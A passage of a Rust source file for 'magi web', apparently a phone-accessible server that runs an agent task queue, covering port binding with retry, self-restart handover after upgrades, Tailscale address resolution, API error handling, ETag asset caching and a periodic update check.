852/// The generation changes only after a durable queued draft is written and its
853/// caller finds the turn busy. That lets the loop run filesystem work outside
854/// this mutex while still making the final empty-check/release atomic with a
855/// concurrent queue handoff.
856#[derive(Debug, Default)]
857struct TalkTurns {
858    live: HashSet<String>,
859    queued: HashMap<String, u64>,
860}
861
862/// The atomic initial-state decision made by
863/// [`Ui::begin_talk_turn_unless_pending`].
864enum TalkTurnStart {
865    Claimed(TalkTurnGuard),
866    Busy,
867    Pending,
868}
869
870impl TalkTurnGuard {
871    /// Release while the caller already holds the claim mutex, closing the
872    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
873    fn release(mut self, live: &mut TalkTurns) {
874        live.live.remove(&self.talk);
875        live.queued.remove(&self.talk);
876        self.released = true;
877    }
878}
879
880impl Drop for TalkTurnGuard {
881    fn drop(&mut self) {
882        if self.released {
883            return;
884        }
885        if let Ok(mut live) = self.turns.lock() {
886            live.live.remove(&self.talk);
887            live.queued.remove(&self.talk);
888        }
889    }
890}
891
892/// Releases a resume claim, so a run is resumable again after the attempt.
893struct ResumeGuard {
894    run: String,
895    resuming: Arc<Mutex<HashSet<String>>>,
896}
897
898impl Drop for ResumeGuard {
899    fn drop(&mut self) {
900        if let Ok(mut live) = self.resuming.lock() {
901            live.remove(&self.run);
902        }
903    }
904}
905
906/// Bind the port, waiting briefly for a predecessor to let go of it.
907///
908/// A restart hands the address from one process to the next, and the old one
909/// holds its listener until it unwinds. A single `bind` can lose that race,
910/// and for a restart triggered from a phone that means the deck never comes
911/// back with no terminal around to say why.
912///
913/// Bounded, and only for the one error a wait can fix: anything else fails at
914/// once, because retrying it would turn a clear message into a silence.
915async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
916    const WINDOW: Duration = Duration::from_secs(10);
917    const GAP: Duration = Duration::from_millis(250);
918
919    let deadline = std::time::Instant::now() + WINDOW;
920    let mut said = false;
921    loop {
922        match tokio::net::TcpListener::bind(socket).await {
923            Ok(listener) => return Ok(listener),
924            Err(e)
925                if e.kind() == std::io::ErrorKind::AddrInUse
926                    && std::time::Instant::now() < deadline =>
927            {
928                if !said {
929                    said = true;
930                    tracing::info!(
931                        "{socket} is still held - waiting up to {}s for it, \
932                         which is what a restart looks like from here",
933                        WINDOW.as_secs()
934                    );
935                }
936                tokio::time::sleep(GAP).await;
937            }
938            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
939        }
940    }
941}
942
943/// Signalled when an upgrade has replaced the binary and the successor should
944/// take this address over. One per process: there is one address to hand on.
945static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
946
947/// Start this binary again with the same arguments, detached.
948///
949/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
950/// so the address is already free when the successor binds it. The first
951/// attempt at this spawned the successor two hundred milliseconds before
952/// exiting instead, and the released binary - which has no bind retry - died
953/// on "address already in use" with its stdio sent to null, so the deck
954/// simply never came back.
955///
956/// Detached and without inherited stdio: the successor has to outlive this
957/// process, and must not hold open a pipe a terminal is waiting on.
958fn spawn_successor() -> Result<()> {
959    let exe = std::env::current_exe().context("find this binary")?;
960    let args: Vec<String> = std::env::args().skip(1).collect();
961    tracing::info!("restarting: {} {}", exe.display(), args.join(" "));
962
963    let mut cmd = std::process::Command::new(&exe);
964    cmd.args(&args)
965        .stdin(std::process::Stdio::null())
966        .stdout(std::process::Stdio::null())
967        .stderr(std::process::Stdio::null());
968    #[cfg(windows)]
969    {
970        use std::os::windows::process::CommandExt as _;
971        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
972        // and Ctrl-C in the old terminal must not reach the successor.
973        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
974    }
975    cmd.spawn().context("start the successor")?;
976    Ok(())
977}
978
979/// Serve the UI until Ctrl-C, finishing a run the loop has in flight.
980///
981/// The server itself owns no state, so nothing here is graceful for the HTTP
982/// side's sake: the connections go with the dropped listener, which costs a
983/// phone one change-stream reconnection it was going to make anyway.
984///
985/// The signal branch is not optional now that the loop lives in this process.
986/// [`daemon::serve_until`] listens for Ctrl-C itself, and a registered
987/// handler is what stops the signal terminating the process - so without a
988/// branch of our own, the first Ctrl-C after the operator started the loop
989/// would stop the loop and leave `magi web` listening forever, unkillable
990/// from the terminal it was started in.
991///
992/// What it waits for is the loop, not the sockets. A run in flight is
993/// finished first, for the reason [`daemon::serve`] gives: killing the graph
994/// mid-node leaves worktrees, branches and agent sessions behind and throws
995/// away every agent call already paid for.
996///
997/// The server therefore runs on a task of its own rather than inside the
998/// `select!`: an arm that resolves *drops* the futures the other arms were
999/// polling, so serving the address from inside one would take the deck down
1000/// at the instant the handover began and keep it down for the whole park -
1001/// up to `timeout_implement`, an hour by default. See [`hand_over`], which
1002/// owns the order.
1003pub async fn serve(opts: Opts) -> Result<()> {
1004    let (addr, warning) = resolve_bind(&opts.bind);
1005    if let Some(warning) = warning {
1006        tracing::warn!("{warning}");
1007    }
1008
1009    // Process-global, and therefore set exactly once, here: the report route
1010    // must never emit escape sequences into a browser, and toggling the flag
1011    // per request would race with a concurrent request rendering its own
1012    // report. Startup is the only moment at which no request can observe the
1013    // change. Nothing in the server turns colour back on.
1014    report::set_color(false);
1015
1016    let repo = normalize_default_repo(opts.repo).await;
1017    let ui = Ui::open(repo).with_merge(opts.merge);
1018    // Cloned before `ui.router()` consumes `ui` below: `hand_over` needs the
1019    // home to bracket the parking and restarting stages, and `run_update_recheck`
1020    // needs both it and the repo, and by then there is no `ui` left to read
1021    // them from.
1022    let home = ui.home.clone();
1023    let repo = ui.repo.clone();
1024    // Settles a progress record a predecessor left non-terminal - either this
1025    // *is* the successor `spawn_successor` started, or the previous process
1026    // died mid-handover. Before the router starts answering, so the very
1027    // first `/api/health` a phone gets from this process already reflects it.
1028    updater::reconcile_after_restart(&home);
1029    // `magi web` can stay up for days, and the one-time check `main.rs`'s
1030    // `spawn_update_check` does at startup only ever runs once: after that,
1031    // `/api/health`'s `update` field - and the phone's "Update & restart"
1032    // button, which reads the very same cache - would stay frozen on
1033    // whatever that single check found, no matter how many releases ship
1034    // afterwards. This keeps it current instead. Detached: it must keep
1035    // going for as long as this process serves, `serve` has nothing to await
1036    // it for, and it exits on its own the moment the process does.
1037    tokio::spawn(run_update_recheck(repo, home.clone()));
1038    let looping = ui.looping();
1039    let socket = SocketAddr::new(addr, opts.port);
1040    let listener = bind_waiting(socket).await?;
1041    let url = format!("http://{addr}:{}", opts.port);
1042    tracing::info!(
1043        "magi web UI on {url} - there is no authentication, so anyone who can \
1044         reach this address can file and hold tasks: the tailnet is the \
1045         security boundary"
1046    );
1047    tracing::info!(
1048        "the queue loop is not running yet - start it from the UI, which is \
1049         the whole reason this process can: nothing in the queue moves until \
1050         something is running the loop"
1051    );
1052    if opts.open {
1053        // The URL alone on stdout, for a caller that wants to open it. magi
1054        // does not spawn a browser: on the machine this usually runs on there
1055        // is no display, and a failed launch would be the only output.
1056        println!("{url}");
1057    }
1058
1059    // On its own task, so nothing this function awaits can stop the address
1060    // being answered. `hand_over` is where it is given up.
1061    let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1062    let interrupted = async {
1063        if tokio::signal::ctrl_c().await.is_err() {
1064            // No handler on this platform, so there is no signal to act on.
1065            // Never resolving is the safe answer: a failed registration must
1066            // not masquerade as the operator asking for a shutdown and take
1067            // the UI down on startup.
1068            std::future::pending::<()>().await;
1069        }
1070    };
1071    let handover = HANDOVER.notified();
1072    tokio::select! {
1073        joined = &mut served => match joined {
1074            Ok(outcome) => outcome.context("serve the web UI"),
1075            Err(e) => Err(e).context("the task serving the web UI ended"),
1076        },
1077        () = interrupted => {
1078            tracing::info!("shutting down the web UI");
1079            finish_loop(&looping).await;
1080            Ok(())
1081        }
1082        () = handover => {
1083            tracing::info!("upgraded - handing this address to the successor");
1084            hand_over(&home, &looping, served, spawn_successor).await
1085        }
1086    }
1087}
1088
1089/// `opts.repo`, or - when it is still `--repo`'s own default (`.`) and the
1090/// process's own working directory is not a git checkout at all - the
1091/// checkout [`repos::discover_verified`] finds instead.
1092///
1093/// Only the unmodified default is ever replaced: an operator who named a
1094/// directory outright, git checkout or not, gets exactly that directory
1095/// back, and the same story downstream (a talk whose briefing embeds a
1096/// non-git directory, and an agent that has to ask the operator where the
1097/// real repository is) that has always told them so - substituting a guess
1098/// for an explicit answer would be a second, silent opinion about what they
1099/// meant. There is no instruction or task text yet to match against this
1100/// early, so only [`repos::discover_verified`]'s own-repository tier can
1101/// ever settle this - the hint tier never fires here.
1102///
1103/// [`repos::discover_verified`], not [`repos::discover`]: a candidate this
1104/// found by filesystem shape alone is not yet trustworthy - a stale `.git`,
1105/// or a git installation that is broken in exactly the way that made the
1106/// original `canonical` check above fail too - so it is re-checked with
1107/// `git::toplevel` before it is ever used in place of the operator's own
1108/// directory.
1109async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1110    if repo != FsPath::new(".") {
1111        return repo;
1112    }
1113    let Ok(canonical) = repo.canonicalize() else {
1114        return repo;
1115    };
1116    if git::toplevel(&canonical).await.is_ok() {
1117        return repo;
1118    }
1119    let Some(home) = dirs::home_dir() else {
1120        return repo;
1121    };
1122    match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1123        Some(found) => {
1124            tracing::info!(
1125                "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1126                canonical.display(),
1127                found.path.display(),
1128                found.reason,
1129            );
1130            found.path
1131        }
1132        None => repo,
1133    }
1134}
1135
1136/// Park the loop, then release the address, then start the successor.
1137///
1138/// The order is the whole function, and each step is answerable to a failure
1139/// this arrangement has already had:
1140///
1141/// 1. **Park.** The loop was asked to stop by the request that replaced the
1142///    binary, and this waits for it, because killing the graph mid-node
1143///    leaves worktrees, branches and agent sessions behind and throws away
1144///    every agent call already paid for. It takes as long as the node in
1145///    flight - up to `timeout_implement`, an hour by default - and the deck
1146///    goes on answering for all of it, which is the reason `served` is a task
1147///    rather than an arm of [`serve`]'s `select!`. It was an arm once: the
1148///    first upgrade from a phone that caught a run mid-implement dropped the
1149///    listener the moment it was asked to, and the operator got
1150///    `Cannot reach magi: Failed to fetch` with no way to see the park it was
1151///    waiting on and nothing but a process list to say the run was alive.
1152/// 2. **Release.** Aborting *and awaiting* the task is what frees the socket:
1153///    the join resolves only once the task's future has been dropped, so the
1154///    listener is released before the next line. Connections it already
1155///    accepted are served on tasks of their own and wind down asynchronously;
1156///    on some platforms (macOS) they can briefly keep the address busy, and
1157///    the successor's `bind_waiting` absorbs that.
1158/// 3. **Start the successor**, which binds the address this process has just
1159///    let go of - see [`spawn_successor`] for what the other order cost.
1160///
1161/// The [`updater::Progress`] bookkeeping bracketing steps 1 and 3 is
1162/// reporting, not part of the design: it exists so `/api/health` can say
1163/// "parking, waiting on run X" instead of leaving the phone to guess why the
1164/// deck went quiet, and dropping it would not change the order above.
1165async fn hand_over(
1166    home: &FsPath,
1167    looping: &Mutex<LoopState>,
1168    served: tokio::task::JoinHandle<std::io::Result<()>>,
1169    successor: impl FnOnce() -> Result<()>,
1170) -> Result<()> {
1171    if let Some(mut progress) = updater::read_progress(home) {
1172        progress.advance(updater::Stage::Parking);
1173        let _ = updater::write_progress(home, &progress);
1174    }
1175    finish_loop(looping).await;
1176    served.abort();
1177    let _ = served.await;
1178    if let Some(mut progress) = updater::read_progress(home) {
1179        progress.advance(updater::Stage::Restarting);
1180        let _ = updater::write_progress(home, &progress);
1181    }
1182    successor()
1183}
1184
1185/// Ask the loop to stop and wait for it, on the way out of [`serve`].
1186///
1187/// The wait is the whole function. Returning from `serve` while a graph is
1188/// mid-node ends the process with worktrees, branches and agent sessions left
1189/// behind and every agent call in that run paid for and thrown away, which is
1190/// exactly what the daemon's own shutdown refuses to do.
1191async fn finish_loop(state: &Mutex<LoopState>) {
1192    let live = lock_or_recover(state).live.take();
1193    let Some(live) = live else { return };
1194    live.stop.stop();
1195    lock_or_recover(state).rev += 1;
1196    tracing::info!("waiting for the loop to finish the run in flight");
1197    // The task records its own outcome and logs it, so there is nothing to do
1198    // with a join error here but stop waiting.
1199    let _ = live.handle.await;
1200}
1201
1202/// Resolve `--bind` to an address, plus a warning when the answer is not what
1203/// the operator asked for.
1204///
1205/// Split out from [`serve`] because the interesting half - deciding whether
1206/// Tailscale gave us something usable - is testable without opening a socket.
1207pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1208    match bind {
1209        Bind::Addr(addr) => (*addr, None),
1210        Bind::Auto => match tailscale_ip() {
1211            Ok(ip) => (IpAddr::V4(ip), None),
1212            Err(why) => (
1213                IpAddr::V4(Ipv4Addr::LOCALHOST),
1214                Some(format!(
1215                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1216                     local-only and a phone cannot reach it; start Tailscale \
1217                     or pass --bind <addr>"
1218                )),
1219            ),
1220        },
1221    }
1222}
1223
1224/// This machine's Tailscale IPv4, or why there is not one.
1225///
1226/// `tailscale ip -4` is a local call against the running daemon and returns in
1227/// milliseconds, so it is fine to make it synchronously before the server
1228/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
1229/// CGNAT block Tailscale assigns from, and anything else on that output would
1230/// be a different tool answering.
1231fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1232    let out = std::process::Command::new("tailscale")
1233        .args(["ip", "-4"])
1234        .quiet()
1235        .output()
1236        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1237    if !out.status.success() {
1238        let why = String::from_utf8_lossy(&out.stderr);
1239        let why = why.trim();
1240        return Err(format!(
1241            "`tailscale ip -4` failed ({}){}",
1242            out.status,
1243            if why.is_empty() {
1244                String::new()
1245            } else {
1246                format!(": {why}")
1247            }
1248        ));
1249    }
1250    String::from_utf8_lossy(&out.stdout)
1251        .lines()
1252        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1253        .find(is_tailnet)
1254        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1255}
1256
1257/// Is this address in the CGNAT block Tailscale hands out from?
1258fn is_tailnet(ip: &Ipv4Addr) -> bool {
1259    let o = ip.octets();
1260    o[0] == 100 && (64..=127).contains(&o[1])
1261}
1262
1263/// What every handler returns. Spelled out because `Result` in this crate is
1264/// `anyhow::Result`, and a handler's error is a status code as much as a
1265/// message.
1266type ApiResult<T> = std::result::Result<T, ApiError>;
1267
1268/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
1269#[derive(Debug)]
1270struct ApiError {
1271    status: StatusCode,
1272    message: String,
1273}
1274
1275impl ApiError {
1276    /// The client asked for something malformed.
1277    fn bad_request(message: impl Into<String>) -> Self {
1278        Self {
1279            status: StatusCode::BAD_REQUEST,
1280            message: message.into(),
1281        }
1282    }
1283
1284    /// No such run or task.
1285    fn not_found(message: impl Into<String>) -> Self {
1286        Self {
1287            status: StatusCode::NOT_FOUND,
1288            message: message.into(),
1289        }
1290    }
1291
1292    /// Someone else owns the thing the client wants to change.
1293    /// Re-badge an error whose default mapping is wrong for this route.
1294    fn with_status(mut self, status: StatusCode) -> Self {
1295        self.status = status;
1296        self
1297    }
1298
1299    /// A rules violation from a domain type, reported as the caller's fault.
1300    /// `Question::answer` rejects an unoffered choice, and that is a bad
1301    /// request, not a server error.
1302    fn bad_request_from(e: anyhow::Error) -> Self {
1303        Self::bad_request(format!("{e:#}"))
1304    }
1305
1306    fn conflict(message: impl Into<String>) -> Self {
1307        Self {
1308            status: StatusCode::CONFLICT,
1309            message: message.into(),
1310        }
1311    }
1312
1313    /// Our fault, or the disk's.
1314    fn internal(message: impl Into<String>) -> Self {
1315        Self {
1316            status: StatusCode::INTERNAL_SERVER_ERROR,
1317            message: message.into(),
1318        }
1319    }
1320}
1321
1322impl From<anyhow::Error> for ApiError {
1323    /// Errors from `queue` and `run` carry their context chain, and the whole
1324    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
1325    /// value at line 3" is a message an operator can act on, and there is no
1326    /// secret in a path on a single-user tailnet.
1327    fn from(e: anyhow::Error) -> Self {
1328        Self::internal(format!("{e:#}"))
1329    }
1330}
1331
1332impl IntoResponse for ApiError {
1333    fn into_response(self) -> Response {
1334        let body = serde_json::json!({ "error": self.message });
1335        (self.status, Json(body)).into_response()
1336    }
1337}
1338
1339/// Run a handler's filesystem work off the executor.
1340///
1341/// Every route that touches the disk goes through here rather than each one
1342/// arguing about whether its own read is small enough. Uniform because the
1343/// expensive case is not rare: `run.json` for a finished competition holds
1344/// every judgement, deliberation turn and review round, so listing a few
1345/// hundred runs is megabytes of parsing, and the executor threads doing it are
1346/// the same ones serving the change stream of every other connected phone.
1347async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1348where
1349    T: Send + 'static,
1350{
1351    match tokio::task::spawn_blocking(job).await {
1352        Ok(result) => result,
1353        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1354    }
1355}
1356
1357/// Cache policy for the three compiled-in front-end files.
1358///
1359/// The whole interface is `include_str!`ed into the binary, so its content
1360/// changes only when the binary does - and a phone that keeps a copy is
1361/// welcome to, right up until the deck is replaced. Without a single cache
1362/// header, browsers were free to invent their own policy, and one did:
1363/// yukimemi's phone went on showing "Candidates must be folded before
1364/// deleting. Run `magi fold` first." - a sentence deleted two releases
1365/// earlier - from a run detail served by a deck that no longer contained it.
1366/// The delete button he was told about was right there, and unreachable.
1367///
1368/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
1369/// every time, the answer is a 304 costing one small round trip while the
1370/// deck is unchanged, and the moment it is replaced the tag differs and the
1371/// new interface arrives. Correctness over bytes - this is one file of a few
1372/// tens of kilobytes on a tailnet, and being a version behind is not a
1373/// cosmetic problem when the difference is whether a button exists.
1374const ASSET_CACHE: &str = "no-cache, must-revalidate";
1375
1376/// `ETag` for the compiled-in assets, distinct per build.
1377///
1378/// The version alone would leave a locally built deck - `cargo install
1379/// --path .` twice at the same version, which is the normal way to iterate -
1380/// serving a stale tag for changed bytes. The build timestamp is what makes
1381/// two builds of `0.3.0` differ.
1382fn asset_etag() -> &'static str {
1383    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1384        format!(
1385            "\"{}-{}\"",
1386            env!("CARGO_PKG_VERSION"),
1387            // Length is a cheap, deterministic stand-in for a hash: the
1388            // three files are compiled in together, so any edit to any of
1389            // them almost certainly changes the total, and a rebuild is what
1390            // this needs to track rather than every possible byte pattern.
1391            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1392        )
1393    });
1394    &TAG
1395}
1396
1397/// Headers for a compiled-in asset of `mime`.
1398fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1399    [
1400        (header::CONTENT_TYPE, mime),
1401        (header::CACHE_CONTROL, ASSET_CACHE),
1402        (header::ETAG, asset_etag()),
1403    ]
1404}
1405
1406/// Serve a compiled-in asset, answering `304` when the client already has it.
1407///
1408/// axum does not compare `If-None-Match` for us, and a header the server sets
1409/// but never honours is worse than none: the phone revalidates on every load
1410/// and is handed the whole file back each time. Doing the comparison is what
1411/// makes `must-revalidate` cost one small round trip rather than the
1412/// interface.
1413fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1414    let tag = asset_etag();
1415    let known = headers
1416        .get(header::IF_NONE_MATCH)
1417        .and_then(|v| v.to_str().ok())
1418        // A revalidating client may send several, and a proxy may weaken the
1419        // tag to `W/"..."`; matching on containment covers both without
1420        // parsing the grammar.
1421        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1422    if known {
1423        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1424    }
1425    (asset_headers(mime), body).into_response()
1426}
1427
1428async fn index(headers: header::HeaderMap) -> Response {
1429    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1430}
1431
1432async fn app_css(headers: header::HeaderMap) -> Response {
1433    asset(&headers, "text/css; charset=utf-8", APP_CSS)
1434}
1435
1436async fn app_js(headers: header::HeaderMap) -> Response {
1437    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1438}
1439
1440/// What `/api/health` answers.
1441#[derive(Debug, Serialize)]
1442struct HealthView {
1443    version: &'static str,
1444    home: String,
1445    queue_rev: u64,
1446    runs_rev: u64,
1447    /// The same revisions [`events`] streams for the question and talk
1448    /// stores.
1449    ///
1450    /// Here because this route is what the front end falls back to when the
1451    /// change stream is not up - it re-polls health on a timer and on wake, and
1452    /// takes the revisions from the answer. Without these the fallback
1453    /// compares `undefined` against `undefined` for both stores, decides
1454    /// nothing moved, and a phone with a dead stream never learns that a
1455    /// question was asked or that a talk took a turn. `queue_rev` and
1456    /// `runs_rev` above have always been here for exactly this reason; the rule
1457    /// is that every revision the stream carries, this route carries too.
1458    questions_rev: u64,
1459    /// See [`HealthView::questions_rev`]. The standing chat's own store.
1460    talks_rev: u64,
1461    /// See [`HealthView::questions_rev`]. The notification centre's store.
1462    notifications_rev: u64,
1463    /// Notifications nobody has read yet: the bell's badge before
1464    /// `/api/notifications` has answered.
1465    notifications_unread: usize,
1466    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
1467    /// is not on disk anywhere, so a phone with no change stream has no other
1468    /// way to notice that the loop it is waiting on was started from another
1469    /// device.
1470    loop_rev: u64,
1471    /// Runs on disk whose state this build cannot parse - almost always a
1472    /// schema bump, occasionally a run killed mid-write.
1473    ///
1474    /// Reported because the list silently skips them, and "no competitions
1475    /// yet" is a lie when six of them are sitting in the runs directory. The
1476    /// terminal deck learned the same lesson: a run that fails to parse must
1477    /// not disappear from the count.
1478    runs_unreadable: usize,
1479    /// The disk, and what the runs and their worktrees occupy on it.
1480    ///
1481    /// This is the incident the janitor exists for: magi alone put 30 GB into
1482    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
1483    /// is exactly where the operator learns "the disk is the constraint" -
1484    /// the diagnosis that a run is being held for want of space has to be
1485    /// checkable on the same screen.
1486    disk: DiskView,
1487    /// Questions nobody has answered yet, including ones an owner talked
1488    /// back on and is now waiting for the agent's reply to. A round trip
1489    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
1490    /// while the ball is in the agent's court - see
1491    /// [`crate::ask::Questions::count_open`].
1492    questions_open: usize,
1493    /// Of those, how many actually need the owner right now: open, and not
1494    /// [`crate::ask::Question::waiting_on_agent`].
1495    ///
1496    /// The one number that means "nothing will happen until a human acts" -
1497    /// a parked run consumes nothing and progresses never - and the count the
1498    /// ask bar, the nav badge and the document title fall back to before
1499    /// `/api/questions` has answered, so those notification channels clear
1500    /// the instant the owner asks back and reappear the instant the agent
1501    /// replies, instead of sitting lit for however long the agent thinks.
1502    questions_needs_owner: usize,
1503    daemon: DaemonView,
1504    /// The loop in this process, exactly what `/api/loop` answers with.
1505    ///
1506    /// Here so a phone that has just woken needs one request to know whether
1507    /// anything is going to happen at all: `daemon` says a loop is alive
1508    /// somewhere, and this says whether it is one this UI can stop.
1509    #[serde(rename = "loop")]
1510    looping: LoopView,
1511    /// Whether a release newer than this build is known, and which.
1512    ///
1513    /// From [`updater::Checker::cached_update`] - the same throttled state the
1514    /// CLI's `notify` mode banners from - never a live check: this route is
1515    /// polled every few seconds, and a live check on each poll would spend
1516    /// GitHub's rate limit before the operator finished reading the strip.
1517    update: UpdateView,
1518    /// The self-upgrade this deck last set in motion, or `null` before the
1519    /// first one. Read off disk, so the successor can report what its
1520    /// predecessor started.
1521    upgrade: Option<UpgradeProgressView>,
1522}
1523
1524/// What `/api/health` knows about a release newer than this build.
1525///
1526/// A plain `Option<String>` for `to` could not distinguish "checked, and this
1527/// is already the newest" from "never checked" - both are `None` - and the
1528/// phone needs to tell those apart to decide whether the deck can be trusted
1529/// to have an opinion at all.
1530#[derive(Debug, Serialize)]
1531struct UpdateView {
1532    /// A newer release is known to exist.
1533    available: bool,
1534    /// Its tag, when `available`.
1535    to: Option<String>,
1536}
1537
1538/// [`updater::Progress`] as `/api/health` reports it.
1539#[derive(Debug, Serialize)]
1540struct UpgradeProgressView {
1541    stage: updater::Stage,
1542    from: String,
1543    to: Option<String>,
1544    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
1545    /// the step it is finishing before the address is handed over.
1546    waiting_on: Option<String>,
1547    started_at: Timestamp,
1548    updated_at: Timestamp,
1549    detail: Option<String>,
1550}
1551
1552/// Whether [`run_update_recheck`] may act at all this tick.
1553///
1554/// The same two conditions [`updater::Checker::new`] and
1555/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
1556/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
1557/// GitHub from this process" - on a button press or on a timer alike.
1558fn should_spawn_recheck(cfg: &Update) -> bool {
1559    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
1560}
1561
1562/// Whether this tick should actually reach the network, once checking itself
1563/// is allowed.
1564///
1565/// An upgrade already in flight must not be raced by a check that discovers
1566/// a *newer* release while one is still installing - a phone watching
1567/// `/api/health` would see the answer change out from under the upgrade it
1568/// already asked for. Past that, [`updater::Checker::should_check`] is the
1569/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
1570/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
1571/// polling period, is what keeps this task's network use to at most once per
1572/// `[update] interval` regardless of how often it wakes up.
1573fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
1574    if progress.is_some_and(|p| !p.stage.terminal()) {
1575        return false;
1576    }
1577    checker.should_check()
1578}
1579
1580/// How long [`run_update_recheck`] sleeps before its next wake-up.
1581///
1582/// A fraction of the configured `[update] interval` rather than a fixed
1583/// number: a fixed sleep longer than a short custom interval would leave the
1584/// deck waiting on its own wake-up rather than on `should_check`, so an
1585/// operator who set `interval = "1m"` to make the UI catch up quickly would
1586/// not see that take effect until the next restart - exactly the bug this
1587/// task exists to fix, just moved one level down. Scaling with the interval
1588/// keeps the wake-up prompt relative to what was actually configured, while
1589/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
1590/// still what caps the network calls themselves at one per interval,
1591/// regardless of how often this fires.
1592fn recheck_poll_period(cfg: &Update) -> Duration {
1593    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
1594}
1595
1596/// Keep `/api/health`'s `update` field current for as long as `magi web`
1597/// stays up.
1598///
1599/// The CLI's own `spawn_update_check` (`main.rs`) runs once per invocation,
1600/// which is enough for every other command: they exit in seconds. `magi web`
1601/// can run for days, so a single startup check leaves the cache - and the
1602/// phone's "Update & restart" button, which reads it via
1603/// [`cached_update_view`] - frozen on whatever that one look found, however
1604/// many releases ship afterwards. This is what notices the rest of them,
1605/// re-reading the config each tick so a `magi.toml` edit while the server is
1606/// up takes effect without a restart, the same way every other route here
1607/// already does - both for whether checking is on at all and for how long
1608/// the next sleep should be.
1609///
1610/// Not [`updater::spawn`]'s `auto_update` path, even under `mode =
1611/// "install"`: swapping the running binary out from under a task or a run
1612/// mid-node is exactly what `hand_over`'s parking exists to do deliberately,
1613/// not as a side effect of a timer nobody asked to fire. This only ever
1614/// calls [`updater::Checker::newer_release`], which refreshes
1615/// `last_update_check.json` and nothing else - so under `mode = "install"`
1616/// this behaves like `notify` for as long as the deck stays up, and an
1617/// actual self-install still happens exactly where it always has: once, at
1618/// the next process start.
1619async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
1620    loop {
1621        let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
1622        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
1623        if !should_spawn_recheck(&cfg.update) {
1624            continue;
1625        }
1626        let Some(checker) = updater::Checker::new(&cfg.update) else {
1627            continue;
1628        };
1629        let progress = updater::read_progress(&home);
1630        if !update_recheck_due(&checker, progress.as_ref()) {
1631            continue;
1632        }
1633        if let Err(e) = checker.newer_release().await {
1634            tracing::warn!("background update recheck failed: {e:#}");
1635        }
1636    }
1637}
1638
1639/// [`UpdateView`] from the same throttled, disk-only state
1640/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
1641/// never a live check. `[update] mode = "off"` answers "unknown" the same as
1642/// no cached state at all, which is correct: an operator who turned checking
1643/// off gets no opinion, not a stale one.
1644fn cached_update_view(repo: &FsPath) -> UpdateView {
1645    let (cfg, _) = Config::discover(repo, None).unwrap_or_default();
1646    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1647    match latest {
1648        Some(latest) => UpdateView {
1649            available: true,
1650            to: Some(latest.tag_name),
1651        },
1652        None => UpdateView {
1653            available: false,
1654            to: None,
1655        },
1656    }
1657}
1658
1659/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
1660/// from the parked run's own state when the stage is
1661/// [`updater::Stage::Parking`] - the run and the node it is finishing are
1662/// already on disk in `run.json`, so this reads them fresh rather than
1663/// trusting whatever was true the moment the park was requested.
1664fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1665    let waiting_on = (progress.stage == updater::Stage::Parking)
1666        .then_some(progress.parked_run.as_deref())
1667        .flatten()
1668        .and_then(|id| read_run(&ui.runs, id).ok())
1669        .map(|run| {
1670            format!(
1671                "run {} is finishing {} before the address is handed over",
1672                run.short(),
1673                run.status.as_str()
1674            )
1675        });
1676    UpgradeProgressView {
1677        stage: progress.stage,
1678        from: progress.from,
1679        to: progress.to,
1680        waiting_on,
1681        started_at: progress.started_at,
1682        updated_at: progress.updated_at,
1683        detail: progress.detail,
1684    }
1685}
1686
1687/// The disk figures `/api/health` carries. Every number is produced by
1688/// [`crate::disk`], the same code that decides a run may not start, so the
1689/// health screen and the gate cannot disagree about what the machine looks
1690/// like.
